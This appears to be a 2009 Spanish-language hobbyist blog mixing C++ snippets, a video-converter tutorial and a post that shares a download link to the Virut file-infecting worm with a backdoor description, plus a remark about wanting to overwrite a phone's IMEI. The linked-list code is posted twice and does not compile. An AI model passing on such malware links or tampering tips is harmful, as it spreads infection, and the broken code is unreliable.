jueves, 21 de mayo de 2009

el nuevo buscador para tu disco duro c:

si es un nuevo buscador creado por mi que te permite comparar archivos por tamaño y por nombre ademas de sacarte todos esos datos en un txt mejor dicho etsa la locura espero les guste y cualquier bug me dicen .

enlace

viernes, 8 de mayo de 2009

2^64

#include
#include
#include

using namespace std;
  typedef long long double numerote ;
  
double PotenciaR(numerote IntNumero,double IntPotencia)
{
  if(IntPotencia==0)
  return(1);
  else
   
  return(IntNumero*PotenciaR(IntNumero,IntPotencia-1));  
}

main()
{
   
  
 numerote a;
 numerote b=64;
a=2;
double c = PotenciaR(a,b); 
  printf("%lf\n",c);
   
  
   
getchar();


}

aproxima los ultimos 4 digitos :) 

miércoles, 6 de mayo de 2009

Convertir videos y audio usando Super

pasando por mi antigua web MURiba de donde ahora es de mi amigo Brian Urban me parecio muy interesante compartir este post con ustedes ya que nos permite ver cual facil es usar Super y como manejarlo a nuestro gusto.

Algunas personas a las que les e recomendado Super me han dicho que es difícil de usar, por eso para los que tengan este problema voy hacer un MiniTuto de como usar lo más básico de Super, pues este programa tiene una gran cantidad de opciones.


Pueden descargarlo desde aquí.


Bien, ya cuando lo tengan instalado lo ejecutan y lo primero que vamos hacer es cambiar la ruta donde se van a guardar los archivos convertidos: Click derecho sobre alguna parte de la interfaz de Super y luego seleccionamos Output File Saving Management.




Seleccionan la carpeta que deseen y Save Changes.



El siguiente paso es añadir los Archivos a convertir, lo pueden hacer de dos maneras:


Arrastrando los archivos hasta Super:



Click derecho Add Multimedia File(s):



Listo, a convertir.


En Select the Output Container seleccionamos el formato al que queremos convertir el archivo.



Ahora solo es dar click en Encode (Active Files)



Solo es esperar y ya. El programa tiene muchísimas opciones que uds pueden ir viendo, como escoger el codec, tamaño, sonido…


Saludos.

miércoles, 29 de abril de 2009

el virut en mis manos jojojo

que hermoso es realmente el cuanto de los virus y como el hombre le da su propio sentido a lo que llama virus , pues ya tengo el virut en mis manos y que hermoso es verlo ejecutandose y propagandose en el sistema (vm). esta misma noche empiezo a hacer el analisis de este pequeño travieso.


aca se los dejo (no me hago responsable de lo que le pase a sus pcs) no lo ejecuten si no se quieren infectar y aca dejo mas info.


Nombre: Virut
Nombre NOD32: Win32/Virut
Tipo: Gusano y caballo de Troya
Alias: Virut, Virus.Win32.FileInfector.gen, Virus.Win32.Virut.d, Virus:Win32/Virut.C, W32.Virut.B, W32.Virut.sa, Win32.Virtob.1.Gen, Win32/Virut, Win32/Virut, Win32/Virut.4960, Win32/Virut.5127, Win32/Virut.B, Win32/Virut.C, Win32/Virut.D, Win32/Virut.E
Fecha: 11/may/06
Actualizado: 25/mar/07
Plataforma: Windows 32-bit
Tamaño: 57,397 bytes

Se trata de un virus de código encriptado, que infecta archivos .EXE y .SCR de Windows.

Cuando un archivo infectado se ejecuta, el virus permanece en memoria, e intenta infectar todo archivo con las extensiones antes mencionadas, que sea accedido por cualquier otro proceso del sistema.

No infecta aquellos archivos cuyos nombres contengan alguna de las siguientes cadenas de texto:

psto
wc32
wcun
winc

Además, posee características de caballo de Troya, siendo capaz de abrir una puerta trasera en el equipo infectado, conectándose a un canal específico de un servidor de IRC, desde donde puede recibir comandos de un usuario remoto.

A través de esa conexión, el troyano también intentará descargar y ejecutar un archivo desde Internet.


enlace de la descarga:http://sites.google.com/site/radical00000000/Home/virut.rar?attredirects=0

domingo, 26 de abril de 2009

#*7337# el codigo de la muerte

nota pra todos si tienen algun samnsung no coloque #*7337#

le abre la banda a su cel :) pero le resetea el imei osea 00000000 significa que tu cel no tiene operadora fija :(


postdata: que rabia no he podido sobreescribir el imei:(

como ser parte de sun

http://osum.sun.com/main/authorization/signUp?target=http%3A%2F%2Fosum.sun.com%2F%3Fxgi%3D36FRJAt%26xgkc%3D1&emailAddress=user%40dominio

xD

mi tad lista jojo

espero añadirle mas caracteristicas

tad= tipo abstracto de datos

#include



using namespace std;

typedef struct nodo
{
int dato;
nodo *sig;
nodo *ant;


}tnodo;


typedef struct lista
{

int tam;
tnodo * cab;
tnodo * vent;
tnodo * ult;
}tlista;


typedef struct estudiantes

{
int id;
int cedula;
string nombre;


};
estudiantes losestudiantes;

tlista * crearlista()
{
tlista * lst =new tlista;
lst->tam =0;
lst->cab=0;
lst->vent=0;
lst->ult=0;
return lst;
}

int tamanolista(tlista *lst)
{

return lst->tam;

}

bool esvacialista(tlista *lst)

{

if(lst->tam==0)
{
return true;
}
else
{
return false;
}


}


estudiantes infolista(tlista * lst)
{
lst->vent->dato;

}

tlista * siglista (tlista *lst)
{

if(lst->tam==0)
{
return lst;
}

else if(lst->tam==1)
{
lst->vent=lst->cab;
return lst;

}

else if(lst->tam==1)
{
lst->vent=lst->vent->sig;
return lst;
}
return lst;
}


tlista * primlista(tlista *lst)
{
lst->vent=lst->cab;
return lst;

}
tlista * ultlista(tlista *lst)
{
lst->vent=lst->ult;
return lst;

}


tlista *antlista (tlista *lst)
{

if(lst->tam==0)
{
return lst;
}
else if(lst->tam==1)
{
return lst;

}
else
{

lst->vent = lst->vent->ant;


}
return lst;
}

tlista * insertarlista (tlista *lst,tdato ele)

{

tnodo *nuevo = new tnodo();
nuevo->dato=ele;
nuevo ->sig =0;
nuevo->ant=0;
if(lst->tam==0)
{

lst->cab=nuevo;
lst->vent=nuevo;
lst->tam=lst->tam+1;

}
else if(lst->vent !=lst->ult)
{
nuevo->sig=lst->vent->sig;
lst->vent->sig->ant=nuevo;
lst->vent->sig=nuevo;
nuevo->ant=lst->vent;
lst->vent=nuevo;
lst->tam += 1;
return lst;
}


else
{

nuevo->ant =lst ->vent;
lst->vent->sig=nuevo;
lst->tam++;
}
return lst;
}

tlista * eliminarlista(tlista * lst)
{

if(lst->tam==0)
{
return lst;
}
else if(lst->cab==lst->vent)
{
tnodo*aux=lst->cab;
lst->cab=lst->vent->sig;
lst->tam--;
lst->vent->ant=0;
delete aux;
return lst;
}

else if(lst->ult==lst->vent)
{
tnodo * aux=lst->vent;
lst->vent = lst->vent->ant;
lst->vent->sig=0;
lst->tam--;
lst->ult=lst->vent;
delete aux;
return lst;

}
else
{
tnodo *aux=lst->vent;
lst->vent->ant->sig=lst->vent->sig;
lst->vent->sig->ant=lst->vent->ant;
lst->vent=lst->vent->ant;
lst->tam--;
delete aux;
return lst;


}
return lst;
}


bool finlista()
{
if(lst->vent==0)
{
return
}

}
bool buscarlista (tlista * lst ,estudiantes x)
{

for(primlista(lst);!finlista(lst);siglista(lst))
{
if(infolista(lst)==x)
{
return true;

}

}
return false;
}

mi tad lista jojo

espero añadirle mas caracteristicas

tad= tipo abstracto de datos

#include



using namespace std;

typedef struct nodo
{
int dato;
nodo *sig;
nodo *ant;


}tnodo;


typedef struct lista
{

int tam;
tnodo * cab;
tnodo * vent;
tnodo * ult;
}tlista;


typedef struct estudiantes

{
int id;
int cedula;
string nombre;


};
estudiantes losestudiantes;

tlista * crearlista()
{
tlista * lst =new tlista;
lst->tam =0;
lst->cab=0;
lst->vent=0;
lst->ult=0;
return lst;
}

int tamanolista(tlista *lst)
{

return lst->tam;

}

bool esvacialista(tlista *lst)

{

if(lst->tam==0)
{
return true;
}
else
{
return false;
}


}


estudiantes infolista(tlista * lst)
{
lst->vent->dato;

}

tlista * siglista (tlista *lst)
{

if(lst->tam==0)
{
return lst;
}

else if(lst->tam==1)
{
lst->vent=lst->cab;
return lst;

}

else if(lst->tam==1)
{
lst->vent=lst->vent->sig;
return lst;
}
return lst;
}


tlista * primlista(tlista *lst)
{
lst->vent=lst->cab;
return lst;

}
tlista * ultlista(tlista *lst)
{
lst->vent=lst->ult;
return lst;

}


tlista *antlista (tlista *lst)
{

if(lst->tam==0)
{
return lst;
}
else if(lst->tam==1)
{
return lst;

}
else
{

lst->vent = lst->vent->ant;


}
return lst;
}

tlista * insertarlista (tlista *lst,tdato ele)

{

tnodo *nuevo = new tnodo();
nuevo->dato=ele;
nuevo ->sig =0;
nuevo->ant=0;
if(lst->tam==0)
{

lst->cab=nuevo;
lst->vent=nuevo;
lst->tam=lst->tam+1;

}
else if(lst->vent !=lst->ult)
{
nuevo->sig=lst->vent->sig;
lst->vent->sig->ant=nuevo;
lst->vent->sig=nuevo;
nuevo->ant=lst->vent;
lst->vent=nuevo;
lst->tam += 1;
return lst;
}


else
{

nuevo->ant =lst ->vent;
lst->vent->sig=nuevo;
lst->tam++;
}
return lst;
}

tlista * eliminarlista(tlista * lst)
{

if(lst->tam==0)
{
return lst;
}
else if(lst->cab==lst->vent)
{
tnodo*aux=lst->cab;
lst->cab=lst->vent->sig;
lst->tam--;
lst->vent->ant=0;
delete aux;
return lst;
}

else if(lst->ult==lst->vent)
{
tnodo * aux=lst->vent;
lst->vent = lst->vent->ant;
lst->vent->sig=0;
lst->tam--;
lst->ult=lst->vent;
delete aux;
return lst;

}
else
{
tnodo *aux=lst->vent;
lst->vent->ant->sig=lst->vent->sig;
lst->vent->sig->ant=lst->vent->ant;
lst->vent=lst->vent->ant;
lst->tam--;
delete aux;
return lst;


}
return lst;
}


bool finlista()
{
if(lst->vent==0)
{
return
}

}
bool buscarlista (tlista * lst ,estudiantes x)
{

for(primlista(lst);!finlista(lst);siglista(lst))
{
if(infolista(lst)==x)
{
return true;

}

}
return false;
}

miércoles, 22 de abril de 2009

cuadrado magico en c++

http://sites.google.com/site/radical00000000/Home/magi2.cpp?attredirects=0

alejado del juacking y demas relaciones :(

queridos lectores como podeis ver mi blog esta parado y se debe a que el estudio(que me lo pela) me esta consumiendo mucho tiempo , espero despues de estas dos semanas empezar a postear cosas interesantes pero mientras tengais paciencia .


gracias de antemano 00000000